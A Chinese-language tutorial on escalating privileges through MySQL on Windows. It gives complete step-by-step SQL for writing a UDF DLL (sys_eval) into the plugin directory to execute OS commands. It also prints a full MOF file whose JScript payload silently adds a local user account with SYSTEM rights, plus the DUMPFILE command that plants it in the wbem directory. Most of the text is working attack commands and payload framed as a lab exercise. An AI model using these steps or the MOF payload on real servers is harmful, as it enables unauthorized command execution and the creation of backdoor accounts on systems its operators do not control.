mysql提权

MySQL UDF提权

1.漏洞原理

UDF (user defined function),即用户自定义函数。是通过添加新函数,对MySQL的功能进行扩充,其实就像使用本地MySQL函数,如 user()concat() 等。 假设我的UDF文件名为 udf.dll,存放在MySQL安装目录的 lib/plugin 目录下。在 udf.dll 文件中,定义了名为 sys_eval 的mysql函数,该函数可以执行系统任意命令。但是如果现在就打开MySQL命令行,使用 select sys_eval('dir'); 的话,系统会返回sys_eval() 函数未定义。因为仅仅是把 udf.dll 放到了 lib/plugin 目录下,并没有引入。类似于面向对象编程时引入包一样,如果没有引入包,那么这个包里的类你是用不了的。

2.实例用法

create function sys_eval returns string soname 'udf.dll';

只有两个变量:

  • 一个是 function_name(函数名),此处我们引入的函数是 sys_eval
  • 另一个是 share_library_name (共享包名称),即 udf.dll

引入sys_eval函数之后,就可以使用了

select * from mysql.func where name = 'sys_eval';   # 查看创建的sys_eval函数
select sys_eval('whoami');                          # 执行命令

3.提权前提

  1. MySQL必须是root权限
  2. secure_file_priv=(未写路径)
  3. 将udf.dll写入到mysql的plugin目录下(以MySQL>=5.1为例)

4.实验

在cmd中输入mysql -uroot -p,再输入密码root,进入mysql

首先查看数据库的版本

select version();

查看secure_file_priv的值

show global variables like 'secure%';

    当 secure_file_priv 的值为 null ,表示限制 mysqld 不允许导入|导出,此时无法提权
    当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权
    当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权

此处secure_file_priv的值为空,可以提权

查看plugin的目录名称

show variables like 'plugin%';

查询目录的绝对路径

select @@plugin_dir

查看系统架构

show variables like '%compile%';

可以看到该主机是64位的

接下来将桌面上的dll文件写入plugin目录,并创建函数

select 0x十六进制内容 into dumpfile "plugin的目录\\udf.dll"

将udf.dll文件转化为十六进制

select hex(load_file('C:\\Users\\Administrator\\Desktop\\udf.dll')) into dumpfile 'C:\\Users\\Administrator\\Desktop\\udf.txt';
此处要用 \\ 对 \ 转义

再把生成的udf.txt里面的十六进制内容写入C:\Program Files\MySQL\MySQL Server 5.5\lib\plugin\udf.dll

select 0x4D5A90000300000 ...... into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.5\\lib\\plugin\\udf.dll';

成功将udf.dll写入目标路径

导入udf函数

create function sys_eval returns string soname 'udf.dll';    # 导入sys_eval函数

select * from mysql.func where name = 'sys_eval';   # 查看创建的sys_eval函数

执行系统命令

select sys_eval('whoami');

select sys_eval('ipconfig');

MySQL MOF提权

1.漏洞原理

mof指的是托管对象格式,是一种文件类型,它(nullevt.mof)在 C:\WINDOWS\system32\wbem\mof\ 路径下,将会每隔一段时间以system权限执行一次,我们可以通过root权限下的mysql将该文件写入到路径下,以达到提权的效果。

MOF文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件写入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。

2.提权前提

  1. secure_file_priv=(未写路径)
  2. mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录,且允许外连
  3. 操作系统为Windows,版本不宜过高

3.实验

在cmd中输入mysql -uroot -p,再输入密码root,进入mysql

首先查看数据库的版本

select version();

查看secure_file_priv的值

show global variables like 'secure%';

    当 secure_file_priv 的值为 null ,表示限制 mysqld 不允许导入|导出,此时无法提权
    当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权
    当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权

此处secure_file_priv的值为空,可以尝试提权

接着在cmd执行命令net user,查看当前系统的用户

此时系统的用户为AdminsitratorGuest

nullevt.mof的内容为

#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user mof 123456 /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

执行nullevt.mof,会执行net.exe user mof 123456 /add命令,创建一个新用户。

利用MySQL把桌面上的nullevt.mof上传到C:/WINDOWS/system32/wbem/mof/nullevt.mof

select load_file('C:\\Documents and Settings\\Administrator\\桌面\\nullevt.mof') into dumpfile 'C:\\WINDOWS\\system32\\wbem\\mof\\nullevt.mof';

上传mof文件成功。

等待几秒钟,再次net user查看系统用户 发现多了一个mof,成功创建了一个新用户。